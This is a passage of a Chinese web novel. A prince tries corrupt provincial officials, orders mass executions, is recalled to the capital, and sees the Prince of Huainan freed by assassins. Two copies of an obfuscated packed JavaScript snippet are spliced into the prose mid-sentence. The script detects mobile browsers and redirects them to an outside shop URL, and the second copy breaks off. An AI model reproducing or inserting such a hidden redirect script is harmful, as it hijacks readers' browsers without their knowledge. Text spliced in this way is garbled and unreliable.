一道狼嚎声传来,木屋里的人顿生警惕,萧雷透过木板缝隙向外看了看,惊喜道:“是‘麓风’!郡主的‘麓风’!” “你确定?”楼松也跑过来趴在缝里往远处的山头上看:“这他娘的狼都长得一个样,还离得这么远,你咋能确定就是‘麓风’啊?” “自虞庆侯世子秘密登录登州后,都是老子天天悄默默去军营里喂它,会不认得它?”萧雷嫌弃道,他两步行至李鹤霖身前,半跪下身道:“王爷,郡主来了。” 一阵马蹄声由远及近,还撅着屁股趴在木板边上的楼松叫喊道:“是陆家军!白衣红袖银甲!是辽西的兵!俺看见郡主了!穿着一身布甲,嘿,还真他娘的漂亮!” 卢康一脚踹在了楼松的屁股上:“你他娘的说什么呢?” 楼松反应过来,揉着屁股道歉:“对不起殿下,俺不是故意的!俺俺……俺就是……” “无妨,扶我起来。”李鹤霖的脸色苍白,在楼松的搀扶下,一步一步走向了木门。 吱呀一声,木门被人从外面打开,多日未见的章麓携着阳光、和着雨后的草木清香,紧紧抱住了眼前的男人。 * 李鹤霖靠坐在马车车厢的角落,任由章麓解开他的衣衫,露出精壮的身躯以及上面的累累伤痕。 章麓看着这些狰狞伤口,心疼到:“陛下不是给了不少上号的金疮药吗?你为什么没用?” “都给弟兄们了,他们有人伤的比我重,比我更需要。”李鹤霖的身体极为虚弱,仿佛每句话都用尽了全身的力气。 章麓无言以对,因为她那不省心的爹爹和哥哥都是这样的。 她无奈的拿着干净布巾为他清理伤口周围的皮肤,然后点上药膏,用干净的纱布裹紧,低声说到:“我从世子哥哥那里拿了一套干净的便装,你们身形相仿,先换上吧。” 李鹤霖的声音很轻:“谢谢。” 章麓为他套上衣服:“你不高兴。” 李鹤霖闭眼装睡,充耳不闻。 章麓无奈,只能妥协:“我知道这种痛失兄弟手足的感觉,但这不是你的错,别拿这些惩罚自己。” 李鹤霖睁开眼,掀开毯子:“你陪我安静的呆一会儿好吗?这车宽敞,我不会挤着你的。” 看着被刻意留出的一人位置,章麓心中轻叹,脱掉鞋躺在了李鹤霖的身边。 李鹤霖握住章麓的手,道:“我亲眼看着苏用烧了那些寨子,烧死了里面的百姓。当年你在古马坑里的时候,是不是也是这般心痛?” 他看向章麓,他的眸子已经不再明亮,而是变成了晦暗的深渊:“袅袅,我要替枉死了数万百姓申冤,我不能让他们死得不明不白。” 这样的神情让章麓仿佛看到了曾经的自己。 “你想要怎么做?” “我已经拿到了足够的证据,都埋在陆怀英儿子所在的死奴营的地底下,你帮我挖出来好吗?” “然后呢?” “然后……”李鹤霖扯着嘴角,露出一个残忍的笑容,“我要他们所有人都付出应有的代价。” * 莱青郡西城门外的山坡上。 章启坐在马背上,蹙眉看向章麓:“你确定要这么做?这么多人,整个莱、登、青三州会乱套的!” “我知道。” “你知道还答应他?” “我不能看着他死。就像当年你害怕我成为行尸走肉一样。”章麓认真道,“他自小随母亲在各地奔逃,见过最多的就是贪官酷吏,看到百姓民不聊生、家破人亡。皇后教会了他温柔与保护,让他一直觉得自己是有能力改变这个世界的。他强迫自己接受着世界的不完美,然后尽可能的去改变它,可就在昨天,他失败了。人心之恶毒远超他的想象。” 章启不可思议的摇头:“这世界若是洁净无垢、一尘不染,哪儿还会有我们的存在。” 章麓看着山脚下整装待发的虞庆军:“兄长,我想赌一把。” “李啸音做到这个地步,就是为了逼李鹤霖发疯,你这赌局,胜算可不大。” 章麓:“事已至此,只差临门一脚,就这么放弃,我不甘心。” 118. 第 118 章 虞庆军的行动非常迅速,只五日,就按照霍封黔提供的名单,将所有牵涉进淮南王通敌之事的官吏全部抓去了莱青。而没有被记录在册,因此躲过一劫的人,则整日惶惶不安,最终在张秀的劝说下,将联名参奏的折子送入了京城。 吕州府衙,吕州刺史方问安站在门后,看着院子里贵了一片的官员,各个品级都比他大,再看看大堂上‘明镜高悬’的牌匾,轻轻摇了摇头。 师爷在旁边小声问道:“他们都是官身,王爷即便有代天巡狩的金令,也无权斩杀,这会不会牵连到我们?” 方问安:“哎,放心,朝廷那帮人再怎么怪,也怪不到我们头上。咱们吕州有琅琊王氏,谁都不敢在这里搞大的幺蛾子。” 师爷:“大人不必妄自菲薄,吕州百姓安居乐业,您功不可没。” “什么安居乐业啊,这些平静的表象下,到底暗藏多少汹涌你我皆知。而这种平静又是用多少别州百姓的命换来的?这种功我可不敢居。”方问安摇了摇头。 “可那些贪官污吏想要拉您下水,您不是断然拒绝了吗?正是因为您固守本心,才能让吕州没像青、莱、登三州那般乱得不成样子。” “本心?”方问安不禁笑到:“这官场之中,还有谁记得自己的本心?日日如履薄冰,只看得见自己的脚下,哪儿还能看得到这黎明百姓啊。” 临近秋末的天气极为寒凉,正午时分的太阳如火般灼灼,却抵不过寒风萧瑟。 院中跪着的官吏中,有不少人被冻得瑟瑟发抖,可淳王却一直不曾露面。 跪在最前方的淮南王一直闭目凝神,面上不带丝毫惧色,甚至还幽幽的哼唱着戏曲,仔细听着,还能听出一句:为国事何曾有一枕安然…… “淮南王还真是好兴致。” 突如其来的声音从旁插入,杨素乾抬头看去,只见一身素白锦缎的李鹤霖,罕见的没有束发,步履沉稳的向这边走来。 “堂堂王子皇孙,竟不齐服束发,如此有失体统之举,够御史台参你一本了。”杨素乾讥讽道。 李鹤霖负手站于明镜高悬牌匾之前,垂眸看他:“一群禽兽不如之人,还不配本王整冠相迎。” 他坐在高背大椅上:“吕州刺史方问安何在?” “下官在!”方问安从旁而出,双手交握行官礼。 “念。” “是!” 方问安从师爷双手拖着的托盘中,将一份卷册拿了出来,扬声宣读道:“淮南王杨素乾,勾结河南道东六省共计一千四百三十六名官员,控制东西往来漕运,贩卖人口,运贩私盐、米粮、铜、铁、金、银,勾结吐谷浑,意图谋反!罪行滔天!当斩!” “斩?”杨素乾笑得放肆:“你敢吗?李鹤霖,别光说得好听,有本事现在便斩了我!” “不用急,有你死的时候。” “哈哈哈!说到底你还是怕了!你自己心里清楚,若是杀了我,淮南必乱!李恒杰(泰安帝)那个老匹夫牺牲多少才换来的平静将会再起波澜!你大晋受不了这个折腾,百姓受不了这个苦难!就算我杀了那么多人又怎样?就算我勾结吐谷浑又怎么样?你们还是杀不了我!申冤?不过是做做姿态博美名,他们的冤今日申不了,明日申不了,千秋万代都申不了!” 方问安面颊抽搐,对于杨素乾的狂妄心中气愤,但更多的是不理解。 李鹤霖依旧端坐于上首,面色如常,声音低沉又威严:“想说什么就说吧,很快你就说不出了,今日不杀你,只是因为你还有用。” 他望向方问安:“继续。” “是!” 方问安又拿出一份卷册:“登州刺史冯朗,自你赴任以来,迄今为止共三年零四个月,收受淮南王贿赂,为其铲除异己,为其运贩人口提供便利。对商会联合发运司利用漕运走私等罪行视而不见听而不闻,严重危害大梁百姓的安全。以权谋私,罪行滔天!当诛九族!” “不!我没有与淮南王交易!我是受雨陶郡主指使的,是雨陶郡主逼我这么做的!我不是故意的!求殿下放过我的家人!他们什么都不知道,他们真的什么都不知道啊!”冯朗单听到前面几句便知不好,听完之后更是冷汗连连,他膝行几步,想要爬到公堂内,被守在一旁的楼松一脚踹了回去。 李鹤霖单手撑着左腮,冷漠道:“想要救自己的家人,就老老实实把这些年干过的错事一桩桩一件件全部写清楚,不单单是漕运和人口,只要在任时办过的冤假错案,收授过的贿赂,人员往来和数目,通通写上,写得好了,本王自然会放过你的家人。” “好好!我写!我写!”他抢过衙役递来的纸笔,跪在地上奋笔疾书。 “蠢货!”杨素乾神色不像方才那般轻松:“你所犯之罪根本没有证据,有的也不过是从杨家搜出来的几个账本,肖敏的一些口述,肖敏都被你杀了,死无对证!你还背靠着李谨焕,怕什么!” 可惜苏用哪儿还听得进去,他边写边喊道:“是你说得,天潢贵胄生来就高人一等,生杀予夺皆在手中,我等不过是侥幸爬到今日的位置,哪里像你有所仪仗!” 杨素乾面色难看,怒视李鹤霖,后者冷酷的眼神没有一丝动容,反而多了两分嘲弄:“瞧,自掘坟墓。” 之后,倒是顺利得多,负隅顽抗的都是世家子弟,于前朝凭家族荫庇入朝为官,因着家族脉系众多,人脉广泛,心中有所仪仗,便一直不肯认罪。 其中,便有莱青节度使苏用。 苏用来自汝南苏氏,虽不属于五氏七族,但在当地也极富威望、资产颇丰。苏家上任家主曾任三朝户部尚书,直至泰安帝攻破长安,死于兵戎之下,苏家失去了朝堂助力,才显露出颓势。 但百年来积攒的丰厚家资与人脉,仍然不容小觑。 若是将案卷放入刑部,只怕他还真有可能免于一死。 可惜,肖敏是个胆小的,被李鹤霖抓住之后,又因为刺杀中毒,还被砍了一条胳膊,整个人都处于紧绷的状态,恨不得抱紧李鹤霖的大腿,几乎是问什么答什么。把苏用到任以来,两人做过的事都抖了出来。 “大业四十五年暮春,转良为贱七百四十五人。大业四十五年仲秋,以半价市籴秋粮,半数进入苏氏粮仓,后高价贩售于民,得分成共计二十七万九千三百六十四两……泰安元年春末,为杨氏转良为贱三千一百六十无人。为官共计十载,共转良为贱……”方问安瞪大了双眼,不禁倒吸一口气,不敢置信的念了出来:“十九万七千八百二十二人……受贿一千三百六十六万白银,贩卖米粮、贡盐、金银铜铁共计……五百八十六万余旦……天呐,这可是一年粮税的总额!你怎么敢啊!你怎么敢!” 看着苏用硬挺的脊梁弯了下去,神思恍惚,但依旧满口否认。李鹤霖从椅子上站了起来,绕过桌案,走到一众官员的面前,道:“这还只是一个人的贪墨,单凭着淮南王的运输线,沿途贩卖的盐铁米粮就足够大晋一年的税额,收受的贿赂比济水漕运半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414344|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年的商税还要多!在场跪着的一百七十六名官员,你们谁敢说自己贪得比他少?贪赃枉法,故入人罪,官商勾结,殴杀百姓,莱、青、登三州这些年的冤案只怕比这两日,山上被活活烧死的无辜百姓还要多!” 这一言振聋发聩,这一语骇人听闻。 衙役们将写好的供卷一一拿到每个人的面前,拉着他们的手在上面画押。 方问安上前说到:“殿下,供状都写完了。” 李鹤霖看着桌面上厚厚一摞,比府衙外的鸣冤鼓都要厚的供状,轻点了下头:“誊抄封档,送去长安。” 方问安看了看西落的日头,小心翼翼的问道:“大人还要继续审吗?” “今日暂且这样,明日还是这个时候,将四品以下的官员带过来。” 方问安想了想五品及六品的人数,道:“只怕院子里跪不下。” “那就跪到鸣冤鼓、獬豸像的面前,跪在百姓面前!” “是!”方问安又问:“那这些人是……” “罪行累累,罄竹难书,除淮南王还留有用外,其余人,无论官职大小,罪行轻重,通通推至门口,斩首示众!” “!” 方问安瞪大双眼,茫然道:“全部?” “全部!” “但是他们……” “还要本王说第三遍吗?”李鹤霖眼中喷薄的杀意抑制不住,骇得方问安垂下头,咽了口吐沫方找回自己的声音:“是!臣听令!” 无数人在挣扎,试图躲过衙役和官兵的钳制,哀求声、怒骂声、嚎叫声、哭声充斥在这不大的院子里。 “那些被杀死在山顶的百姓,也曾像你们这般,可你们谁也没有选择放过,今日,本王为何要放了你们?” 被架着的杨素乾仰天狂笑,指着李鹤霖怒骂:“李鹤霖!你越权杀人意图谋反!御史台不会放过你的!” “这就不劳你操心了。” “就算你今日斩杀了这些人又怎样?你能杀进天下所有的贪官污吏吗!这些愚民今日或许会感谢你,但他们被变本加厉的剥削时,一定会记恨你!米粮卖不出高价的时候会记恨你!凑不齐儿子聘礼的时候会记恨你!考不上秀才、进士的时候会怨恨你!升米恩斗米仇,当他们在你的身上倾注希望的时候,就会成为扯不掉的吸血虫,一直吸食你的血肉,当你被吸干之后,还会抱怨为什么你没有更多的血让他们去吸!李鹤霖,你会遭报应的!你终有一天会死在这群愚民的手上!” 被拖走的苏用挣扎着尖叫着:“李鹤霖!你这是造反!你没有审判我们的权利!你这种杀人狂魔,在战场上杀人还满足不了你的血腥,现在还想杀手无寸铁之人!私杀朝廷三品官员!你们在场的每一个人都要死!” “王爷……”方问安想要劝诫淳王,如今罪证已然是板上钉钉的事实,送去刑部一样可以给他们定罪,不需要在此时违反律法。 然而,他的话刚起了个头,见看见淳王抽出身侧护卫的刀,抬步朝苏用走去,在对方刚被拖到衙门口,背对鸣冤鼓的时候,手起刀落,鲜血飞溅! 万籁俱寂,只余一条街外的叫卖声,隐约可闻。 “杀。”李鹤霖甩掉刀刃上的血珠,语气冰冷:“为山上枉死的百姓,为饿死冻死的稚儿,为状告无门的蒙冤者,为天下百姓的白日青天!” “疯了……哈哈哈!你终于疯了!”杨素乾的声音回荡在院子里,“李鹤霖,这一仗,我还没输!你且等着!” 119. 第 119 章 往后的三日,皆是如此,除了手上没有人命的都被关押起来,其余但凡手上染血的,都被斩杀在了府衙门前。 围观的百姓越来越多,议论声越练越大,连茶楼说书人都开始将淳王审案的事情编成了段子,将给吃茶喝酒的人听。 章启坐在税务司的后院,看着章麓盘账。 “淳王为什么不直接让下面的人去审,这样一日一日的审,只怕他斩杀三州半数官员的事,早传入朝廷了。到时候,他还有活路吗?” 章麓将盘好的账册整理出来,交给掌柜的,饮了口茶方才回答:“就算一日将这些贪官污吏都杀完,该死还是会死。他就是在等,不过等的不是朝廷,是百姓。” “百姓?” “但死奴的事就死了这么多人,还都是转良为贱的受害者,他们亦有家人朋友,或许有的人早已放弃,但总有人一直在为他们奔走,王爷等的就是这些人。”章麓叹了一口气:“这是他发疯之后,活下去的唯一希望,不过,我会为他的这份希望加上筹码。”她的手覆在鱼鳞账上,目光坚定。 章启登时就明白她想做什么,激动的说道:“你疯了吗?如果真的这样做,你是黎朝云的事情就会传入朝廷!到时候你和侯爷一定会被攻讦!还有黎伯府,所有与黎朝云有关的人都会陷入困境!越界动用兵权的事,就已经让朝廷看不惯你爹的人疯了一样撕咬。而你为了报仇筹谋了多少年,真就要为了一个男人功亏一篑吗?” “我没有要放弃原本的计划,这一个月我买断了河南道及淮南道九成的甘蔗和米粮,现在整个东西漕运粮商的命运皆握在我的手里,我要这些欺压百姓,献媚外族的商人,亲自来求我,亲自对着百姓忏悔自己的过错。” * “全杀了?”李谨焕愕然的看着来报信的属官。 那人咽了咽口水将看到的情形事无巨细和盘托出:“吕州府衙门前已经一片血海,不少老百姓都在拍手叫好,属下赶来之前,还在官道上看见不少衣衫褴褛、穿着草鞋的外乡人。他们在跟茶摊的老板打听淳王在哪儿审案子,想要鸣冤。” “外乡人……鸣冤?”李谨焕心神恍惚:“呵,还真叫李啸音逼到了这一步,我以为她是开玩笑的。” “王爷,我们现在怎么办?西洲侯已经联名上书,参淳王不忠不义,越权办事,咱们要不要趁此机会再添一把火?” 李谨焕瞥了他一眼:“你想怎么添?” “章麓是黎朝云这件事对于虞庆侯府来说可是致命把柄。为官者三族内不可从商是铁律,黎家和章家都会被牵扯进来。” 李谨焕:“但是黎家经商是大业皇帝亲允的,怕是动不了。倒是可以以此攻讦虞庆侯,可是,本王为什么要这么做呢?这天下黎明百姓看似蝼蚁,任人宰割,可他们也是一个王朝的基石,兴衰皆看民心所向。今日本王参奏了为民请命的三哥,父皇会怎么想?百姓会怎么想?” 属官小心翼翼的观察着康王的脸色,问道:“要阻止吗?” “不必。”李谨焕道:“他想做什么就让他做,本王封地在乐安,乐安的事还没查清就擅自离开封地已然是大错,御史台定然会弹劾。皇兄此次几乎掀翻了三州所有贪官污吏的茶桌,长安多少人的利益牵扯在里面,大约都恨不得他死吧。与其阻止皇兄,不如让他杀个高兴,到时候,那群人反倒不会抓着本王的疏忽大意不放。” 属官懂了,这是要用更大的错误去掩盖小的错误,转移御史台的视线。 * 长安。 六百里加急带来了李鹤霖送来的案卷,与之一道还有他斩杀三州官员的消息。 正坐在明德殿批奏折的泰安帝不敢置信的站起身,死死盯着信使问道:“你再说一遍,杀了多少人?” “第一日便又一百三十多人,余下的臣不知。” 朱批的笔尖定定的悬在半空中,血红的朱砂一滴滴的掉落在桌案的奏折上。 上面是钦天监为淳王大婚选的良辰吉日,红色的朱砂如同一滴滴血泪,在‘李鹤霖’三个字上晕染开来。 “让他回来……”泰安帝的声音很轻,轻得他自己都快听不见了:“让我儿回来……他不能留在那儿了……” * 凤栖宫里,皇后正与景贵妃下棋,李明月在一旁剥瓜子,给皇后一个给母妃一个最后再给自己一个,一盘棋下来,已经剥了满满一盘瓜子。 景贵妃好看的眼眸扫过李明月跃跃欲试的手,从容不迫的将对方面前的瓜子放到了自己面前:“什么时候口疮好了,什么时候再吃。” “啊……”李明月苦楚着一张小胖脸,神色幽怨的盯着被拿走的白胖瓜子。 “哎呀!你怎么回事!大内禁地怎能如此脚步慌张,若是撞到贵人怎么办?”屋外传来大宫女的呵斥声,以及一位小内侍连连道歉的声音。 皇后瞥了眼屋外,扬声问道:“发生何事?” “回皇后……” “皇后娘娘!”小内侍尖细的声音打断了大宫女的回禀:“孟公公让小得来禀告皇后娘娘,淳王殿下在吕州私自斩杀地方数百官员,被御史台的人联合参奏,威逼陛下将人抓回来惩戒!” 皇后骤然色变,手边刚收拾好的棋子哗啦啦打翻在地。 “你说什么,你再说一遍!” 小内侍隔着门,将方才的话又重复了一遍,扬声道:“是河南御史参奏!还有淮南御史联合上表,言……” “言什么,说!” 小内侍一咬牙,道:“言淳王殿下无视法度,不忠不义。还有虞庆侯违反朝廷律例,令其女经营商号,扰乱莱、青、登三州商会市场,把控济河漕运,令地方百姓无粮可买,饿浮遍野!皇后娘娘,消息传得太快了,六百里加急才入宫中三个时辰,全长安的百姓就都知道了,很多人都在说淳王嗜杀成性,当诛!” * 吕州府衙后院,李鹤霖不知疲倦的整理着这些官员供述的内容,清晰的梳理出了一条主脉络,和在这条脉络上纵横交错的复杂关系网。 这几日,不停的有百姓击鼓鸣冤,所诉之事皆与转良为贱有关。不少世家的生意被牵扯其中,暗杀与威胁与日俱增,后院主屋前的血溅了一层又一层,但李鹤霖从未让人去清洗过,任由这些痕迹留在那里,被曝晒、干涸。 灯花剪了一遍又一遍,太阳也围着宅院转了一圈又一圈,章麓每每从外面回来,都会看见正屋紧闭的房门和燃了一夜的光。 现在的李鹤霖,只凭一丝信念坚持着,任何安慰与关照都是徒劳。她走进厨房,再次熬了一碗八宝粥,做了两份小菜,托万林送进了正屋。 随着被杀的官员越来越多,就连常年打仗的虞庆军都感觉到手软脚软,但没有一个人有怨言,他们都听得到方问安宣读着这些人的罪行,在幽云十六州是绝不会发生这样的事,所以在他们的心里,这样的人称得上是极恶之徒,下手自然不会犹豫心软。 当第十四把刀被砍出了豁口,最后一个被查实的贪官终于被斩杀。 五百多个人头,被整整齐齐的按照官职大小排列在刑场前,有些百姓不敢靠近,有些百姓指着他们打骂,还有人坐在这些人头前,哭喊着沉冤得雪,哭喊着他们亲人的名字。吕州的百姓第一次从这些人的口中,直到了原来这世界上还有这么多的恶,这么多的走投无路。 这几日,连两个熟人在街上遇见,都会提几句这些贪官污吏。 “听说,青州有个毛石县,那里盛产花岗岩,去年贡品翻船,那县令收了船主的银钱,让矿主背了锅,最后将那矿山归为己有,与船主七三分利,赚了十几万的银钱。” “可不是,昨日我看到告示的时候恨不得亲自上手杀了那贪官!他还掳掠幼女豢养在府邸玩乐,有个父亲将他告去了青州刺史府,结果没想到都是一丘之貉,直接将那为父亲吊在房梁上活活摔死!那名幼女页才八岁,就被卖去了青楼,听说不到一年就死了。简直闻所未闻!太恶毒了!” 这样的话还发生在很多地方,周围州府的百姓不少慕名而来,更多的是想亲眼看着自己的仇人身首分家,将来好在亲人坟前敬一杯酒,告慰在天之灵。 斩杀完三州贪官污吏的第四日,李鹤霖终于从正屋中走出。 青砖白挖瓦,方方正正的庭院中央,难得一身女装的章麓竖着简单的发髻,簪着一根简单的檀木簪子,朝他伸出了手:“善渊,我们出去走走,好吗?” 这次出门,章麓没有带帏帽,而是光明正大的牵着李鹤霖的手,行走在大街小巷上。 过往的行人纷纷给他们让开道路,不少去衙门围观过的人都朝他们鞠躬示意,还有人在人群里高喊:“杀得好!淳王殿下!” “淳王殿下,您是青天大老爷!” 章麓攥紧了李鹤霖的手说,温和的说到:“你的事迹这几日传遍了大江南北,不止三州,整个河南道、河北道、淮南道、江南道、岭南道、甚至远在西北的都护府,只要是有大同商号在的地方,都有你的消息。你放心,我不会让你死的。” 李鹤霖望着章麓,望进她的眼眸深处,极力令自己的情绪平静下来:“袅袅,我想要淮南王死。” 章麓察觉到了他的挣扎,道:“我知道,她一定会死,但不是现在。” “可是我有些后悔了,我想将楼松叫回来,我想现在就杀了她!”李鹤霖单手捂着双眼,僵硬的说到:“我们手中明明有那么多证据,数不清的口供证词,那么多的目击百姓,他们每一个人都愿意站出来指证她,可是……我却不能像杀了其他人一样,杀了她!” 没等章麓回复,他又自顾自的说到:“我一直不觉得这世上没有谁比谁矜贵,大家应该都是一样的。可是杨素乾给我结结实实上了一课,她到现在还那么猖狂那么有 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她的语速飞快:“就像幽云十六州,人人皆言虞庆军军风严格,品行上佳。可没人知道这里面其实也藏污纳垢。我还记得哥哥第一次去北宁关,第二天就气呼呼的跑了回来,跟爹告状说书记官贪墨粮草,但爹告诉他,这样的贪官是杀不尽的,你可以选择在战场上杀死他,可以选择在他回家的路上掳走他,在深林里割开他的喉咙,但你无法让一军之将领天天去处理这些杂事,为一个小小的书记官大动干戈。这会让他们失去威信,也会浪费他们在探查敌军、分析局势、作出部署上的时间。” 李鹤霖沉默着,许久才开口:“我有无数办法能悄无声息的杀了淮南王,却没有一种能让她接受审判,告慰亡者的在天之灵。她还是前朝那个高高在上的公主,还是淮南道百姓口中的善良的王,还是会在死后被风光大葬。几百年过去,几千年过去,或许她的陵墓会被发现,人们会将她描述成一位伟大的领主,人人对她歌功颂德,却无人知晓她过去犯下的那些罪。她沾染的鲜血,她犯下的错,永远不会出现在墓碑之上,永远不会被世人知晓。” 两人已经行至行刑场,无数衣着褴褛的百姓围坐在那里,哭诉着心中的悲苦。 一阵车辙声传来,两人回过头去,只见一身着四品官服的男人翻身下马,朝李鹤霖走来。 他展开明黄色的圣旨,一字一句的念着,无数百姓放下手中的活计向这边聚拢而来。他们没有跪,只是或好奇或疑惑的打量着圣旨背后的龙,与宣读圣旨的人。 待官员宣读完毕收起圣旨,才发觉刑场外小小的空地竟集满了人,他们每一个人都用一种充满敌意的眼神看着自己,看得他发虚。 他只能轻咳一声尽量保持镇定:“淳王殿下,陛下收回了您的军令和金令,还请您将他们都交给下官。” 章麓上前一步,挡在了李鹤霖的前面道:“金令可以给你,但是你是文官,且墨云骑已经被罪人苏用尽数屠杀,军令你怕是得不到。” 那官员昂首,轻蔑的看了一眼章麓:“这可不是你们说什么是什么,如今淳王无缘无故斩杀三州官员,触犯律法,理当受惩!皇命难违,还望两位不要为难下官。” 一枚金令从李鹤霖的手中飞出,砸在了官员的怀中,李鹤霖:“墨云骑已经不存在,军令丢失,这金令就给你了。” “可是,这墨云骑……” “怎么?你还真想要墨云骑的军令?胃口不小啊。”章麓嘲讽道。 “不,下官只是奉命行事,毕竟是淳王殿下的私军,敢无故屠杀朝廷命官,就难保不会劫囚,您说是不是?” “无故屠杀?”章麓扬声道:“你倒是问问在场的百姓,他们认不认你这‘无故屠杀’四个字!” “不认!他凭什么说淳王殿下是错的!淳王殿下没有杀错!”不知从哪儿冒出来的一道声音,瞬间点燃百姓们的怒火。 “他要把我们的青天抓去问罪!把他赶出去!” “赶出去!赶出去!” 他们围挡在李鹤霖与章麓前方,不断推挤着涌向宣旨的官员,手中的石头不断砸向对方,吓得后者慌不择路的退至护卫身后,指着他们道:“刁民!都是刁民!” 忽的,他看向章麓的目光充满恶意:“你别以为你就能安然无恙!四万虞庆军离开驻地,是为了震慑,没让他们去抓朝廷命官!虞庆侯这一次,必死无疑!你为了讨好淳王置自己亲人生死于不顾,你也不是什么好东西!” “滚开——不许你这么说!”百姓们不敢殴打官员,却敢掀翻囚车,在一声声合理呐喊中,那家囚车被掀翻,轰然一声倒在了地上。 “各位!”李鹤霖高声道:“不必为难他,父皇召我回京,我也该回去了。” 章麓攥紧他的手,与他并肩前行。 百姓们为他开出一条道路,纷纷为他驻足,不知是谁先起了头,身后的百姓纷纷跪了下来,高呼‘青天’二字。 在阳光灿烂的清晨,一身白衣胜雪的李鹤霖,迎着光走向了属于他的未知的未来。 120. 第 120 章 京中发出了三道急诏,其中包括了李谨焕。他也没有耽搁,带着李鹤霖和淮南王,直奔京城。 至于那位官员带来的囚车,最后还是留给了淮南王。他虽然嘴上不满,但被李谨焕眼风一扫,就吓得呐呐不敢说话。 章麓没有离开,让双竹将自己的马车带过来。 这两马车很特别,并不是在长安买的那一架,而是父亲送给自己的十三岁生辰礼。章麓没想到三哥会把这架马车也运过来,章启是这么解释的:“是父亲让我将它带来的,说有备无患。” 为什么说有备无患?难道父亲一早就料到会有这样的事发生吗? * 因是急诏,几乎不舍昼夜的赶路,以至李鹤霖旧伤复发,又有了发烧的迹象。 宣旨官员虽然并不想耽搁行程,也因为心里笃定淳王定然会被问罪,对他颇为轻慢,但也知道如果淳王死在路上,以泰安帝的性子定然会拿他撒气,到时候别说自己的命不保,搞不好还会诛连亲族。 于是,在李鹤霖高热的第二日,长长的队伍还是停在了一家官驿站,暂时休整一晚。 杨素乾被侍从扶着从马车上下来,在吕州时,先是在烈日下跪了一日,又在监牢里被饿了三四天,每日只给一顿餐食,如今又日夜兼程赶路,使得她神情疲乏,状态极差。 但投向李鹤霖的目光依旧恶意满满,甚至对他做了一个抹脖子的动作。 李鹤霖靠着车厢,并不着急下车,高热令他面色通红,神色萎靡,对于杨素乾的挑衅,他视而不见,低声问楼松:“什么时辰了?” 楼松看了看天色,道:“约摸着已经是亥时了。” “那就快了。”李鹤霖看着圆润明月,平静道:“没想到有一日,我竟也要变成跟他们一样的恶人。” “王爷!” 李鹤霖摇头,止住对方未出口的话:“放虎归山,终成祸害,可我却为自己找理由,骗自己这是不得已而为之。” 他低头看着自己的双手:“什么时候,我竟也变成了我最讨厌的那类人。” 唰——如蝗虫般的箭雨陡然划破夜晚的宁静。 楼松反应迅速,反手关上车门,将所有箭矢抵挡在门外。 这辆马车是是虞庆侯专为庆祝章麓及娣所打造的马车。 通身车架均为百炼钢所制,木质结构均采用了碳化胡杨木,防火防潮且坚固无比,缰绳除通用的麻丝外,还缴入了钢丝与天丝,可绞杀敌人,也可当做长鞭。原本车轮上还有钢刃,但此处并非战场,也不是山匪横行的关外走廊,不太适宜用这些,章麓便给去掉了。否则它将是一辆进可攻退可守的战车。 卢康和萧雷早就知道会有这么一出,两人皆穿戴了金丝软甲,半跪在马车门前,抵挡从后而来的箭矢。 “别让他们将淳王救走!”那宣旨官员捂着乌纱帽,猫着腰躲在驿站的廊柱后面,惊慌失措的指挥着从长安带来的衙役和禁军。 然而,就在此时,又有一群人冲了进来,他们目标明确,直奔杨素乾的囚车。 禁军试图阻挡,可这些人哪里比得上训练有素的死士,一阵短兵相接后死伤过半。 卢康蹲在车架前,高声道:“别乱,听我指挥!” 这些禁军在京城时,都在卫所见过卢康,对他有所了解,瞬间都护着康王聚拢在他身侧。 “三人为一组,互相掩护劈砍,这些是死士,别妄想他们手下留情!” “是!” 幽暗的夜色下,刀尖碰撞与血肉相搏成响彻静谧的树林。 挥刀劈砍的动作已经形成肌肉技艺,冰冷的刀刃没入身体,他们也感觉不到疼痛,只觉得似乎有热气在远离自己,让自己的身体越发冰冷。 黑沉沉的夜,仿佛无边的浓墨遮掩着触手可及的天空,无数身着黑衣的人倒在囚车前,鲜血浸透红肉下的土地,可星星害怕了,躲在乌云下不肯露面,也不肯为那些前赴后继的蝼蚁,照亮捕猎的前路。 “别管他们了!我们先走!”囚车的门被打开,杨素乾看着倒下的人越来越多,脸色越来越可怕。 刺客首领指挥着余下的人迅速收拢在杨素乾左右,静谧的林子突然扬起了风。血腥味飘散至周围,沿着尸体上流出的冰凉的血,一路蔓延至天际。 宣旨的官员抱着廊柱不断颤抖着,呕吐着,腥臭味混杂着血腥味,衬得刚刚拨云而来的月亮都白得诡异无比。 “李鹤霖,好好想想你的遗言吧,我期待着你被自己爱护的百姓,守护的朝廷逼死的那一天!” 杨素乾的笑声,在深不见底的黑夜里显得格外刺耳。 杨素乾被救走后,那名宣旨的官员扶着乌纱帽腿软的走了出来。他看着一地的尸体,胃里反酸的厉害,但他刚刚吐了太多次,实在是吐不出东西来了。 他颤巍巍的走到鲜血淋漓的马车前,指着卢康质问道:“你们竟然放走淮南王!本官回去定要狠狠参你们一本!” 马车帘子被李鹤霖掀开,高热令他面色惨白,在血色的月光下,宛若幽林鬼魅一般。那双锐利的眼眸刺得那官员忍不住后退了半步,叫嚣的声音逐渐弱了下来。 “又不是我劫的人。” 宣旨的官员知道这次他定然会吃挂落,甚至官职不保,一时之间更想撇清关系,指着李鹤霖扬声尖叫:“可你也没有阻拦!” “本王是囚犯,不是吗?拦不住死士不是很正常?”李鹤霖的声音幽幽,长息与短气交错间,藏着隐隐恶意。 “你!你!你们将禁卫笼络在自己身边,只顾着保护自己,否则淮南王又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 